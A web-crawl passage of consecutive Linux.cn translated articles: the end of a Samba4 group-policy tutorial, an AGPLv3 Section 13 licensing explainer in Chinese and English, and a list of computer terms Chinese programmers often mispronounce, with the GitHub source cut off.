11、在组策略管理编辑器窗口中,进入到计算机配置 -> 组策略 -> Windows 设置 -> 安全设置 -> 本地策略 -> 安全选项,你将在右侧看到一个新的选项列表。
在右侧查询并编辑你的定制化设置,参考下图中的两条设置内容。

*配置 Samba 域组策略*
12、这两个条目编辑完成后,关闭所有窗口,打开 CMD 窗口,执行以下命令来强制应用组策略。
```
gpupdate /force
```

*更新 Samba 域组策略*
13、最后,重启你的电脑,当你准备登录进入系统的时候,你就会看到登录提示生效了。

*Samba4 AD 域控制器登录提示*
就写到这里吧!组策略是一个操作起来很繁琐和很谨慎的主题,在管理系统的过程中你得非常的小心。还有,注意你设置的组策略不会以任何方式应用到已加入域的 Linux 系统中。
---
作者简介:我是一个电脑迷,开源软件及 Linux 系统爱好者,有近4年的 Linux 桌面和服务器系统及 bash 编程经验。
---
via: <http://www.tecmint.com/manage-samba4-dns-group-policy-from-windows/>
作者:[Matei Cezar](http://www.tecmint.com/author/cezarmatei/) 译者:[rusking](https://github.com/rusking) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,259 | 我需要在 AGPLv3 许可证下提供源码么? | https://opensource.com/article/17/1/providing-corresponding-source-agplv3-license | 2017-03-02T11:31:56 | [
"GPL",
"AGPL"
] | https://linux.cn/article-8259-1.html | 
[GNU Affero 通用公共许可证版本 3](https://www.gnu.org/licenses/agpl-3.0-standalone.html)(AGPLv3)是与 GPLv3 几乎相同的<ruby> 左版 <rp> ( </rp> <rt> copyleft </rt> <rp> ) </rp></ruby>许可证。两个许可证具有相同的公共版权范围,但在一个重要方面有重大差异。 AGPLv3 的第 13 节规定了 GPLv2 或 GPLv3 中不存在的附加条件:
>
> 在本许可证的其它条款之外,如果你修改了程序,你必须把你修改的版本,给你的那些使用计算机网络远程(如果你的版本支持此类交互)与之交互的用户,明确提供一个通过一些标准或者常规的复制手段,从网络服务器上免费获得与你所修改的版本相匹配的源码的机会。
>
>
>
这个“通过计算机网络远程交互”的范围主要被认为是 SaaS 部署的情形,尽管其实际上读起来的意思超乎了惯例的 SaaS 部署情形。其目标是解决在用户在使用像 Web Services 这样的功能时,其代码没有公开的常规 GPL 协议所暴露出的漏洞。因此,该协议的第 13 节,在 GPLv2 第 3 节以及 GPLv3 和 AGPLv3 第 6 节中包含的目标代码分发的触发要求之外,提供了额外的源代码公开的要求。
常常被误解的是,AGPLv3 第 13 节中的源代码分发要求仅在 AGPLv3 软件已被“你”(例如,提供网络服务的实体)修改的地方才触发。我的理解是,只要“你”不修改 AGPLv3 的代码,许可证就不应该被理解为需要按照第 13 节规定的方式访问相应的源码。如我所见,尽管即使公开许可证中不要求公开的源代码也是一个好主意,但在 AGPL 下许多未修改以及标准部署的软件模块根本不会触发第 13 节。
如何解释 AGPL 的条款和条件,包括 AGPL 软件是否已被修改,可能需要根据具体情况的事实和细节进行法律层面的分析。
---
作者简介:
Jeffrey R. Kaufman 是全球领先的开源软件解决方案提供商 Red Hat 公司的开源 IP 律师。Jeffrey 也是托马斯·杰斐逊法学院的兼职教授。在入职 Red Hat 之前,Jeffrey 曾经担任高通公司的专利顾问,向首席科学家办公室提供开源顾问。Jeffrey 在 RFID、条形码、图像处理和打印技术方面拥有多项专利。
---
via: <https://opensource.com/article/17/1/providing-corresponding-source-agplv3-license>
作者:[Jeffrey Robert Kaufman](https://opensource.com/users/jkaufman) 译者:[geekpi](https://github.com/geekpi) 校对:[Bestony](https://github.com/Bestony)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | The [GNU Affero General Public License version 3](https://www.gnu.org/licenses/agpl-3.0-standalone.html) (AGPLv3) is a copyleft license nearly identical to the GPLv3. Both licenses have the same copyleft scope, but materially differ in one important way. The AGPLv3's Section 13 states an additional condition not present in GPLv2 or GPLv3:
Notwithstanding any other provision of this License, if you modify the Program, your modified version must prominently offer all users interacting with it remotely through a computer network (if your version supports such interaction) an opportunity to receive the Corresponding Source of your version by providing access to the Corresponding Source from a network server at no charge, through some standard or customary means of facilitating copying of software.
This condition was intended to apply mainly to what would now be considered SaaS deployments, although the reach of "interacting remotely through a computer network" should perhaps be read to cover situations going beyond conventional SaaS. The objective was to close a perceived loophole in the ordinary GPL in environments where users make use of functionality provided as a web service, but no distribution of the code providing the functionality occurs. Hence, Section 13 provides an additional source code disclosure requirement beyond the object code distribution triggered requirement contained in GPLv2 Section 3 and GPLv3 and AGPLv3 Section 6.
What is often misunderstood is that the source code requirement in AGPLv3 Section 13 is triggered only where the AGPLv3 software has been modified by "you" (for example, the entity providing the network service). My interpretation is that, so long as "you" do not modify the AGPLv3 code, the license should not be read as requiring access to the Corresponding Source in the manner prescribed by Section 13. As I see it, many unmodified and standard deployments of software modules under AGPL simply do not trigger Section 13, although making the source code available even if not required under the license is a good idea.
How terms and conditions of the AGPL could be interpreted, including whether the AGPL software has been modified, may require legal analysis depending on the facts and details of the specific use case.
## 9 Comments |
8,260 | 这些计算机术语你读对了么? | https://github.com/shimohq/chinese-programmer-wrong-pronunciation | 2017-03-02T15:45:00 | [
"读音"
] | https://linux.cn/article-8260-1.html | 作为程序员,我们虽然不像港台剧那样处处用中文混着英文说话,但是在日常的工作学习中还是会大量接触到各种英文单词和缩写。除了一些很普通的英文单词由于某种神秘不可知的原因被屡屡错读之外,计算机世界是变化的如此之快,也经常出现一些新的缩写令非英语母语的中国程序员在懵圈之后随便选个姿势去读。

我猜测,或许是为了将广告野生程序员从这种尴尬之中解脱出来,[石墨文档](https://shimo.im/doc/G3ckHEVF3f4qANHk)在 GitHub 上做了一个有趣的[仓库](https://github.com/shimohq/chinese-programmer-wrong-pronunciation),专门收集了许多中国程序员容易发音错误的单词。
| 单词 | 正确发音 | 错误发音 |
| --- | --- | --- |
| **access [♪](http://dict.youdao.com/dictvoice?audio=access&type=1)** | **✓ ['ækses]** | **✗ [ək'ses]** |
| **Angular [♪](http://dict.youdao.com/dictvoice?audio=Angular&type=1)** | **✓ ['æŋgjʊlə]** | **✗ ['æŋɡələ; 'æŋdʒʌlə]** |
| **AJAX [♪](http://dict.youdao.com/dictvoice?audio=AJAX&type=1)** | **✓ ['eidʒæks]** | **✗ [ə'dʒʌks]** |
| **Apache [♪](http://dict.youdao.com/dictvoice?audio=Apache&type=1)** | **✓ [ə'pætʃɪ]** | **✗ [ʌpʌtʃ]** |
| **app [♪](http://dict.youdao.com/dictvoice?audio=app&type=1)** | **✓ [æp]** | |
| **archive [♪](http://dict.youdao.com/dictvoice?audio=archive&type=1)** | **✓ ['ɑːkaɪv]** | **✗ ['ətʃɪv]** |
| **array [♪](http://dict.youdao.com/dictvoice?audio=array&type=1)** | **✓ [ə'rei]** | **✗ [æ'rei]** |
| **avatar [♪](http://dict.youdao.com/dictvoice?audio=avatar&type=1)** | **✓ ['ævətɑː]** | **✗ [ə'vʌtɑ]** |
| **Azure [♪](http://dict.youdao.com/dictvoice?audio=azure&type=1)** | **✓ ['æʒə]** | **✗ [ˈæzʊʒə]** |
| **cache [♪](http://dict.youdao.com/dictvoice?audio=cache&type=1)** | **✓ [kæʃ]** | **✗ [kætʃ]** |
| **deque [♪](http://dict.youdao.com/dictvoice?audio=deque&type=1)** | **✓ ['dek]** | **✗ [di'kju]** |
| **digest [♪](http://dict.youdao.com/dictvoice?audio=digest&type=1)** | **✓ ['dɑɪdʒɛst]** | **✗ ['dɪgɛst]** |
| **Django [♪](http://dict.youdao.com/dictvoice?audio=Django&type=1)** | **✓ [ˈdʒæŋɡoʊ]** | **✗ [diˈdʒæŋɡoʊ]** |
| **doc [♪](http://dict.youdao.com/dictvoice?audio=doc&type=1)** | **✓ [dɒk]** | **✗ [daʊk]** |
| **facade [♪](http://dict.youdao.com/dictvoice?audio=facade&type=1)** | **✓ [fə'sɑːd]]** | **✗ ['feikeid]** |
| **Git [♪](http://dict.youdao.com/dictvoice?audio=git&type=1)** | **✓ [ɡɪt]** | **✗ [dʒɪt; jɪt]** |
| **GNU [♪](http://dict.youdao.com/dictvoice?audio=GNU&type=1)** | **✓ [gnu:]** | |
| **GUI [♪](http://dict.youdao.com/dictvoice?audio=GUI&type=1)** | **✓ [ˈɡui]** | |
| **height [♪](http://dict.youdao.com/dictvoice?audio=height&type=1)** | **✓ [haɪt]** | **✗ [heɪt]** |
| **hidden [♪](http://dict.youdao.com/dictvoice?audio=hidden&type=1)** | **✓ ['hɪdn]** | **✗ ['haɪdn]** |
| **image [♪](http://dict.youdao.com/dictvoice?audio=image&type=1)** | **✓ ['ɪmɪdʒ]** | **✗ [ɪ'meɪdʒ]** |
| **integer [♪](http://dict.youdao.com/dictvoice?audio=integer&type=1)** | **✓ ['ɪntɪdʒə]** | **✗ [ˈɪntaɪgə]** |
| **issue [♪](http://dict.youdao.com/dictvoice?audio=issue&type=1)** | **✓ ['ɪʃuː]** | **✗ [ˈaɪʃuː]** |
| **Java [♪](http://dict.youdao.com/dictvoice?audio=java&type=1)** | **✓ ['dʒɑːvə]** | **✗ ['dʒɑːvɑː]** |
| **jpg(jpeg) [♪](http://dict.youdao.com/dictvoice?audio=JPEG&type=1)** | **✓ ['dʒeɪpeɡ]** | **[ˈdʒeɪˈpi:ˈdʒiː]** |
| **Linux [♪](http://dict.youdao.com/dictvoice?audio=linux&type=1)** | **✓ ['lɪnəks]** | **✗ [ˈlɪnʌks; ˈlɪnjuːks]** |
| **main [♪](http://dict.youdao.com/dictvoice?audio=main&type=1)** | **✓ [meɪn]** | **✗ [mɪn]** |
| **margin [♪](http://dict.youdao.com/dictvoice?audio=margin&type=1)** | **✓ ['mɑːdʒɪn]** | **✗ ['mʌgɪn]** |
| **maven [♪](http://dict.youdao.com/dictvoice?audio=maven&type=1)** | **✓ ['meɪvn]** | **✗ ['maːvn]** |
| **module [♪](http://dict.youdao.com/dictvoice?audio=module&type=1)** | **✓ ['mɒdjuːl]** | **✗ ['məʊdl]** |
| **nginx** | **✓ Engine X** | |
| **null [♪](http://dict.youdao.com/dictvoice?audio=null&type=1)** | **✓ [nʌl]** | **✗ [naʊ]** |
| **OS X** | **✓ OS ten** | |
| **parameter [♪](http://dict.youdao.com/dictvoice?audio=parameter&type=1)** | **✓ [pə'ræmɪtə]** | **✗ ['pærəmɪtə]** |
| **putty [♪](http://dict.youdao.com/dictvoice?audio=putty&type=1)** | **✓ [ˈpʌti]** | **✗ [ˈpuːti]** |
| **query [♪](http://dict.youdao.com/dictvoice?audio=query&type=1)** | **✓ ['kwɪəri]** | **✗ ['kwaɪri]** |
| **Qt [♪](http://dict.youdao.com/dictvoice?audio=cute&type=1)** | **✓ [kjuːt]** | |
| **resolved [♪](http://dict.youdao.com/dictvoice?audio=resolved&type=1)** | **✓ [rɪ'zɒlvd]** | **✗ [rɪ'səʊvd]** |
| **retina [♪](http://dict.youdao.com/dictvoice?audio=retina&type=1)** | **✓ ['retɪnə]** | **✗ [ri'tina]** |
| **san jose [♪](http://dict.youdao.com/dictvoice?audio=san%20jose&type=1)** | **✓ [sænhəu'zei]** | **✗ [sæn'ju:s]** |
| **safari [♪](http://dict.youdao.com/dictvoice?audio=safari&type=1)** | **✓ [sə'fɑːrɪ]** | **✗ [sæfərɪ]** |
| **scheme [♪](http://dict.youdao.com/dictvoice?audio=scheme&type=1)** | **✓ [skiːm]** | **✗ [s'kæmə]** |
| **sudo** | **✓ ['suːduː]** | |
| **suite [♪](http://dict.youdao.com/dictvoice?audio=suite&type=1)** | **✓ [swiːt]** | **✗ [sjuːt]** |
| **typical [♪](http://dict.youdao.com/dictvoice?audio=typical&type=1)** | **✓ ['tɪpɪkl]** | **✗ ['taɪpɪkəl]** |
| **Ubuntu [♪](http://dict.youdao.com/dictvoice?audio=ubuntu&type=1)** | **✓ [ʊ'bʊntʊ]** | **✗ [juː'bʊntʊ]** |
| **variable [♪](http://dict.youdao.com/dictvoice?audio=variable&type=1)** | **✓ ['veəriəbl]** | **✗ [və'raiəbl]** |
| **vue [♪](http://dict.youdao.com/dictvoice?audio=vue&type=1)** | **✓ [v'ju:]** | **✗ [v'ju:i]** |
| **width [♪](http://dict.youdao.com/dictvoice?audio=width&type=1)** | **✓ [wɪdθ]** | **✗ [waɪdθ]** |
| **YouTube [♪](http://dict.youdao.com/dictvoice?audio=youtube&type=1)** | **✓ ['juː'tjuːb]** | **✗ ['juː'tʊbɪ]** |
本着简单的原则,又为了避免程序员们出现选择困难症,“正确音标”采用了最接近有道词典音频的英式 DJ 音标,不代表其唯一性。专业在线英语词典请参考[知乎链接:在线英语词典哪个比较好?](https://www.zhihu.com/question/19707759)
参考资料
1. <https://www.zhihu.com/question/19739907>
2. <https://www.v2ex.com/t/131094>
3. <https://www.v2ex.com/t/309350>
4. <https://www.v2ex.com/t/63781>
5. <https://www.v2ex.com/t/246033>
6. <https://www.v2ex.com/t/342087>
此外,还有一位 [lexrus](https://github.com/lexrus) 同学根据此库的数据,做了一个开源的 iOS 应用,这个应用的名字非常绝妙,叫做“[花灰](https://github.com/lexrus/Huahui)”——请捋直了舌头跟我念:H-U-A-花,H-U-I-灰,花灰。
作者说道:
>
> 这个小 App 用 UITableView 陈列了一些中国程序员经常读错的单词,用 AVFoundation 实现美音和英音的朗读,用 Playground 同步单词库。功能异常简陋,实现非常粗暴,仅供 iOS 程序员自行编译,纠正发音使用,懒得提交 App Store。
>
>
>
可从以下视频中略窥一斑,做的还是不错的,不过如果你的 iPhone 没越狱,显然是没法用的——或许你可以去作者的 issues 页面请求他上架?:-D
那么你有几个读错的呢?欢迎发表评论,也欢迎去[提交](https://github.com/shimohq/chinese-programmer-wrong-pronunciation)你发现易读错的计算机术语和缩写。
有同学表示,读对还不行,你经常用的一些单词术语,或许并不是你以为的那个意思。不信?你去看看“[程序员眼中的英语单词](/article-6302-1.html)”和它原本的意思差别有多大就知道了~
| 200 | OK | - chromium扩展:无页面跳转,实时检索英语发音
- 安装
[chromium 扩展](/shimohq/chinese-programmer-wrong-pronunciation/blob/master/tools/chromium_extension/README.md)或者 [外部独立库](https://github.com/jingjingxyk/chinese-programmer-wrong-pronunciation-chromium-extension.git)
- 安装
- 简洁的单词列表,正确读音不用再打开新网页:
[https://cpwp.netlify.app/](https://cpwp.netlify.app/) [iOS应用](https://apps.apple.com/cn/app/%E7%8C%BF%E5%8D%95%E8%AF%8D-%E4%B8%AD%E5%9B%BD%E7%A8%8B%E5%BA%8F%E5%91%98%E5%AE%B9%E6%98%93%E5%8F%91%E9%9F%B3%E9%94%99%E8%AF%AF%E7%9A%84%E5%8D%95%E8%AF%8D/id1626487291)
单词 | 正确发音(英音) | 正确发音(美音) | 错误发音 |
---|---|---|---|
access |
|
[🔊](https://dict.youdao.com/dictvoice?audio=access&type=2)/ˈækses/[🔊](https://dict.youdao.com/dictvoice?audio=Adobe&type=1)/ə'dəʊbi/[🔊](https://dict.youdao.com/dictvoice?audio=Adobe&type=2)/ə'dəʊbi/[🔊](https://dict.youdao.com/dictvoice?audio=admin&type=1)/'ædmɪn/[🔊](https://dict.youdao.com/dictvoice?audio=admin&type=2)/ˈædmɪn/[🔊](https://dict.youdao.com/dictvoice?audio=adversarial&type=1)/ˌædvəˈseəriəl/[🔊](https://dict.youdao.com/dictvoice?audio=adversarial&type=2)/ˌædvərˈseriəl/[🔊](https://dict.youdao.com/dictvoice?audio=agile&type=1)/'ædʒaɪl/[🔊](https://dict.youdao.com/dictvoice?audio=agile&type=2)/ˈædʒl/[🔊](https://dict.youdao.com/dictvoice?audio=amazon&type=1)/'æməzən/[🔊](https://dict.youdao.com/dictvoice?audio=amazon&type=2)/ˈæməzɑːn/[🔊](https://dict.youdao.com/dictvoice?audio=analogy&type=1)/əˈnælədʒi/[🔊](https://dict.youdao.com/dictvoice?audio=analogy&type=2)/əˈnælədʒi/[🔊](https://dict.youdao.com/dictvoice?audio=Angular&type=1)/'æŋgjʊlə/[🔊](https://dict.youdao.com/dictvoice?audio=Angular&type=2)/ˈæŋɡjələr/[🔊](https://dict.youdao.com/dictvoice?audio=AJAX&type=1)/'eidʒæks/[🔊](https://dict.youdao.com/dictvoice?audio=AJAX&type=2)/'eidʒæks/[🔊](https://dict.youdao.com/dictvoice?audio=alias&type=1)/ˈeɪliəs/[🔊](https://dict.youdao.com/dictvoice?audio=alias&type=2)/ˈeɪliəs/[🔊](https://dict.youdao.com/dictvoice?audio=align&type=1)/əˈlaɪn/[🔊](https://dict.youdao.com/dictvoice?audio=align&type=2)/əˈlaɪn/[🔊](https://dict.youdao.com/dictvoice?audio=Apache&type=1)/ə'pætʃɪ/[🔊](https://dict.youdao.com/dictvoice?audio=Apache&type=2)/əˈpætʃi/[🔊](https://dict.youdao.com/dictvoice?audio=app&type=1)/æp/[🔊](https://dict.youdao.com/dictvoice?audio=app&type=2)/æp/[🔊](https://dict.youdao.com/dictvoice?audio=archive&type=1)/'ɑːkaɪv/[🔊](https://dict.youdao.com/dictvoice?audio=archive&type=2)/'ɑːkaɪv/[🔊](https://dict.youdao.com/dictvoice?audio=array&type=1)/ə'rei/[🔊](https://dict.youdao.com/dictvoice?audio=array&type=2)/əˈreɪ/[🔊](https://dict.youdao.com/dictvoice?audio=ascii&type=1)/'æski/[🔊](https://dict.youdao.com/dictvoice?audio=ascii&type=2)/ˈæski/[🔊](https://dict.youdao.com/dictvoice?audio=aspect&type=1)/'æspekt/[🔊](https://dict.youdao.com/dictvoice?audio=aspect&type=2)/ˈæspekt/[🔊](https://dict.youdao.com/dictvoice?audio=async&type=1)/əˈsɪŋk/[🔊](https://dict.youdao.com/dictvoice?audio=async&type=2)/æˈsɪŋk/[🔊](https://dict.youdao.com/dictvoice?audio=avatar&type=1)/'ævətɑː/[🔊](https://dict.youdao.com/dictvoice?audio=avatar&type=2)/ˈævətɑːr/[🔊](https://dict.youdao.com/dictvoice?audio=azure&type=1)/'æʒə/[🔊](https://dict.youdao.com/dictvoice?audio=azure&type=2)/ˈæʒər/[🔊](https://dict.youdao.com/dictvoice?audio=bazel&type=1)/ˈbeɪzəl/[🔊](https://dict.youdao.com/dictvoice?audio=bazel&type=1)/ˈbeɪzəl/[🔊](https://dict.youdao.com/dictvoice?audio=bind&type=1)/baɪnd/[🔊](https://dict.youdao.com/dictvoice?audio=bind&type=2)/baɪnd/[🔊](https://dict.youdao.com/dictvoice?audio=bios&type=1)/ˈbaɪɒs/[🔊](https://dict.youdao.com/dictvoice?audio=cache&type=1)/kæʃ/[🔊](https://dict.youdao.com/dictvoice?audio=cache&type=2)/kæʃ/[🔊](https://dict.youdao.com/dictvoice?audio=canal&type=1)/kəˈnæl/[🔊](https://dict.youdao.com/dictvoice?audio=canal&type=2)/kəˈnæl/[🔊](https://dict.youdao.com/dictvoice?audio=chaos&type=1)/ˈkeɪɒs/[🔊](https://dict.youdao.com/dictvoice?audio=chaos&type=2)/ˈkeɪɑːs/[🔊](https://dict.youdao.com/dictvoice?audio=chrome&type=1)/krəʊm/[🔊](https://dict.youdao.com/dictvoice?audio=chrome&type=2)/kroʊm/[🔊](https://dict.youdao.com/dictvoice?audio=clang&type=1)/klæŋ/[🔊](https://dict.youdao.com/dictvoice?audio=clang&type=2)/klæŋ/[🔊](https://dict.youdao.com/dictvoice?audio=context&type=1)/ˈkɒntekst/[🔊](https://dict.youdao.com/dictvoice?audio=context&type=2)/ ˈkɑːntekst/[🔊](https://upload.wikimedia.org/wikipedia/commons/4/47/Fr-coq.ogg)IPA French ['kɔkʲ] 读若拼音“goq”[🔊](https://dict.youdao.com/dictvoice?audio=Daemon&type=1)/'diːmən/[🔊](https://dict.youdao.com/dictvoice?audio=Daemon&type=2)/ˈdiːmən/[🔊](https://dict.youdao.com/dictvoice?audio=debt&type=1)/det/[🔊](https://dict.youdao.com/dictvoice?audio=debt&type=2)/det/[🔊](https://dict.youdao.com/dictvoice?audio=deny&type=1)/dɪ'naɪ/[🔊](https://dict.youdao.com/dictvoice?audio=deny&type=2)/dɪˈnaɪ/[🔊](https://dict.youdao.com/dictvoice?audio=deprecate&type=1)/ˈdeprəkeɪt/[🔊](https://dict.youdao.com/dictvoice?audio=deprecate&type=2)/ˈdeprəkeɪt/[🔊](https://dict.youdao.com/dictvoice?audio=deque&type=1)/'dek/[🔊](https://dict.youdao.com/dictvoice?audio=deque&type=2)/dɛk/[🔊](https://dict.youdao.com/dictvoice?audio=digest&type=1)n. /'dɑɪdʒɛst/ v. /dɑɪ'dʒɛst/[🔊](https://dict.youdao.com/dictvoice?audio=digest&type=2)/daɪˈdʒest,dɪˈdʒest/[🔊](https://upload.wikimedia.org/wikipedia/commons/8/85/Dijkstra.ogg)Dutch:/ˈdɛikstra/ English:/ˈdaɪkstrə/[🔊](https://upload.wikimedia.org/wikipedia/commons/8/85/Dijkstra.ogg)[🔊](https://dict.youdao.com/dictvoice?audio=Django&type=1)/ˈdʒæŋɡoʊ/[🔊](https://dict.youdao.com/dictvoice?audio=Django&type=2)/ˈdʒæŋɡoʊ/[🔊](https://dict.youdao.com/dictvoice?audio=doc&type=1)/dɒk/[🔊](https://dict.youdao.com/dictvoice?audio=doc&type=2)/dɒk/[🔊](https://dict.youdao.com/dictvoice?audio=dotnet&type=1)/dɒtnet/[🔊](https://dict.youdao.com/dictvoice?audio=dotnet&type=2)/dɑːtnet/[🔊](https://dict.youdao.com/dictvoice?audio=edition&type=1)/ɪˈdɪʃ(ə)n/[🔊](https://dict.youdao.com/dictvoice?audio=edition&type=2)/ɪˈdɪʃn/[🔊](https://dict.youdao.com/dictvoice?audio=ephemeral&type=1)/ɪˈfemərəl/[🔊](https://dict.youdao.com/dictvoice?audio=ephemeral&type=2)/ɪˈfemərəl/[🔊](https://dict.youdao.com/dictvoice?audio=epoch&type=1)/ˈiːpɒk/[🔊](https://dict.youdao.com/dictvoice?audio=epoch&type=2)/ˈepək/[🔊](https://dict.youdao.com/dictvoice?audio=execute&type=1)/ˈeksɪkjuːt/[🔊](https://dict.youdao.com/dictvoice?audio=execute&type=2)/ˈeksɪkjuːt/[🔊](https://dict.youdao.com/dictvoice?audio=executor&type=1)/ɪɡˈzekjətə(r)/[🔊](https://dict.youdao.com/dictvoice?audio=executor&type=2)/ɪɡˈzekjətər/[🔊](https://dict.youdao.com/dictvoice?audio=event&type=1)/ɪ'vent/[🔊](https://dict.youdao.com/dictvoice?audio=event&type=2)/ɪˈvent/[🔊](https://dict.youdao.com/dictvoice?audio=exit&type=1)/ˈeksɪt/[🔊](https://dict.youdao.com/dictvoice?audio=exit&type=2)/ˈeksɪt; ˈeɡzɪt/[🔊](https://dict.youdao.com/dictvoice?audio=facade&type=1)/fə'sɑːd/[🔊](https://dict.youdao.com/dictvoice?audio=facade&type=2)/fəˈsɑːd/[🔊](https://dict.youdao.com/dictvoice?audio=fedora&type=1)/fɪ'dɔːrə/[🔊](https://dict.youdao.com/dictvoice?audio=fedora&type=2)/fɪˈdɔːrə/[🔊](https://dict.youdao.com/dictvoice?audio=format&type=1)/'fɔːmæt/[🔊](https://dict.youdao.com/dictvoice?audio=format&type=2)/ˈfɔːrmæt/[🔊](https://dict.youdao.com/dictvoice?audio=gauge&type=1)/ɡeɪdʒ/[🔊](https://dict.youdao.com/dictvoice?audio=gauge&type=2)/ɡeɪdʒ/[🔊](https://dict.youdao.com/dictvoice?audio=git&type=1)/ɡɪt/[🔊](https://dict.youdao.com/dictvoice?audio=git&type=2)/ɡɪt/[🔊](https://upload.wikimedia.org/wikipedia/commons/2/24/En-gnu.ogg)/gnu:/[🔊](https://upload.wikimedia.org/wikipedia/commons/2/24/En-gnu.ogg)/gnuː,gnjuː/[🔊](http://www.howtopronounce.cc/file/e204a97ed1e440c5ab15ea0117beb955.mp3)/grəˈfɑːnˌɑː/[🔊](http://www.howtopronounce.cc/file/e204a97ed1e440c5ab15ea0117beb955.mp3)/grəˈfɑːnˌɑː/[🔊](https://dict.youdao.com/dictvoice?audio=GraphQL&type=1)/græf kju ɛl/[🔊](https://dict.youdao.com/dictvoice?audio=GraphQL&type=2)/græf kju ɛl/[🔊](https://dict.youdao.com/dictvoice?audio=GUI&type=1)/ˈɡu:i/[🔊](https://dict.youdao.com/dictvoice?audio=GUI&type=2)/ˈɡu:i/[🔊](https://dict.youdao.com/dictvoice?audio=haskell&type=1)/ˈhæskəl/[🔊](https://dict.youdao.com/dictvoice?audio=haskell&type=2)/ˈhæskəl/[🔊](https://dict.youdao.com/dictvoice?audio=height&type=1)/haɪt/[🔊](https://dict.youdao.com/dictvoice?audio=height&type=2)/haɪt/[🔊](https://dict.youdao.com/dictvoice?audio=hidden&type=1)/'hɪdn/[🔊](https://dict.youdao.com/dictvoice?audio=hidden&type=2)/ˈhɪdn/[🔊](https://dict.youdao.com/dictvoice?audio=I_triple_e&type=1)/aɪ ˈtrɪpəl i/[🔊](https://dict.youdao.com/dictvoice?audio=I_triple_e&type=2)/aɪ ˈtrɪpəl i/[🔊](https://dict.youdao.com/dictvoice?audio=image&type=1)/'ɪmɪdʒ/[🔊](https://dict.youdao.com/dictvoice?audio=image&type=2)/ˈɪmɪdʒ/[🔊](https://dict.youdao.com/dictvoice?audio=implement&type=1)/'ɪmplɪm(ə)nt/[🔊](https://dict.youdao.com/dictvoice?audio=implement&type=2)/ˈɪmplɪmənt/ /ˈɪmpləˌment/[🔊](https://dict.youdao.com/dictvoice?audio=integer&type=1)/'ɪntɪdʒə/[🔊](https://dict.youdao.com/dictvoice?audio=integer&type=2)/ˈɪntɪdʒər/[🔊](https://dict.youdao.com/dictvoice?audio=issue&type=1)/'ɪʃuː/[🔊](https://dict.youdao.com/dictvoice?audio=issue&type=2)/ˈɪʃuː/[🔊](https://dict.youdao.com/dictvoice?audio=java&type=1)/'dʒɑːvə/[🔊](https://dict.youdao.com/dictvoice?audio=java&type=2)/ˈdʒɑːvə/[🔊](https://dict.youdao.com/dictvoice?audio=JPEG&type=1)/'dʒeɪpeɡ/[🔊](https://dict.youdao.com/dictvoice?audio=JPEG&type=2)/'dʒeɪpeɡ/[🔊](https://dict.youdao.com/dictvoice?audio=key&type=1)/kiː/[🔊](https://dict.youdao.com/dictvoice?audio=key&type=2)/kiː/[🔊](https://content.swncdn.com/biblestudytools/audio/lexicons/greek-mp3/2942g.mp3)/kubз'netɪs/[🔊](https://content.swncdn.com/biblestudytools/audio/lexicons/greek-mp3/2942g.mp3)/kuːbə˞'netiz/[🔊](https://dict.youdao.com/dictvoice?audio=lambda&type=1)/ˈlæmdə/[🔊](https://dict.youdao.com/dictvoice?audio=lambda&type=2)/ˈlæmdə/[🔊](https://dict.youdao.com/dictvoice?audio=ldap&type=1)/el'dæp/[🔊](https://dict.youdao.com/dictvoice?audio=ldap&type=2)/el'dæp/[🔊](https://dict.youdao.com/dictvoice?audio=legacy&type=1)/'leɡəsi/[🔊](https://dict.youdao.com/dictvoice?audio=legacy&type=2)/'leɡəsi/[🔊](https://dict.youdao.com/dictvoice?audio=linear&type=1)/'lɪnɪə/[🔊](https://dict.youdao.com/dictvoice?audio=linear&type=2)/ˈlɪniər/[🔊](https://dict.youdao.com/dictvoice?audio=link&type=1)/lɪŋk/[🔊](https://dict.youdao.com/dictvoice?audio=link&type=2)/lɪŋk/[🔊](https://dict.youdao.com/dictvoice?audio=linux&type=1)/'lɪnəks/[🔊](https://dict.youdao.com/dictvoice?audio=linux&type=2)/ˈlaɪnəks/ /ˈlɪnəks/[🔊](https://dict.youdao.com/dictvoice?audio=locale&type=1)/ləʊ'kɑːl/[🔊](https://dict.youdao.com/dictvoice?audio=locale&type=2)/loʊˈkæl/[🔊](https://dict.youdao.com/dictvoice?audio=lucene&type=1)/lu'siːn/[🔊](https://dict.youdao.com/dictvoice?audio=lucene&type=2)/lu'siːn/[🔊](https://dict.youdao.com/dictvoice?audio=macro&type=1)/ˈmækrəʊ/[🔊](https://dict.youdao.com/dictvoice?audio=macro&type=2)/ˈmækroʊ/[🔊](https://dict.youdao.com/dictvoice?audio=main&type=1)/meɪn/[🔊](https://dict.youdao.com/dictvoice?audio=main&type=2)/meɪn/[🔊](https://dict.youdao.com/dictvoice?audio=margin&type=1)/'mɑːdʒɪn/[🔊](https://dict.youdao.com/dictvoice?audio=margin&type=2)/ˈmɑːrdʒɪn/[🔊](https://dict.youdao.com/dictvoice?audio=matrix&type=1)/ˈmeɪtrɪks/[🔊](https://dict.youdao.com/dictvoice?audio=matrix&type=2)/ˈmeɪtrɪks/[🔊](https://dict.youdao.com/dictvoice?audio=maven&type=1)/'meɪvn/[🔊](https://dict.youdao.com/dictvoice?audio=maven&type=2)/ˈmeɪvn/[🔊](https://dict.youdao.com/dictvoice?audio=max&type=1)/mæks/[🔊](https://dict.youdao.com/dictvoice?audio=max&type=2)/mæks/[🔊](https://dict.youdao.com/dictvoice?audio=Microsoft&type=1)/'maikrəusɔft/[🔊](https://dict.youdao.com/dictvoice?audio=Microsoft&type=2)/ˈmaɪkrəsɔːft/[🔊](https://dict.youdao.com/dictvoice?audio=migrate&type=1)/maɪˈɡreɪt/[🔊](https://dict.youdao.com/dictvoice?audio=migrate&type=2)/ˈmaɪɡreɪt/[🔊](https://dict.youdao.com/dictvoice?audio=miscellaneous&type=1)/ˌmɪsəˈleɪniəs/[🔊](https://dict.youdao.com/dictvoice?audio=miscellaneous&type=2)/ˌmɪsəˈleɪniəs/[🔊](https://dict.youdao.com/dictvoice?audio=module&type=1)/'mɒdjuːl/[🔊](https://dict.youdao.com/dictvoice?audio=module&type=2)/ˈmɑːdʒuːl/[🔊](https://dict.youdao.com/dictvoice?audio=native&type=1)/ˈneɪtɪv/[🔊](https://dict.youdao.com/dictvoice?audio=native&type=2)/ˈneɪtɪv/[🔊](https://dict.youdao.co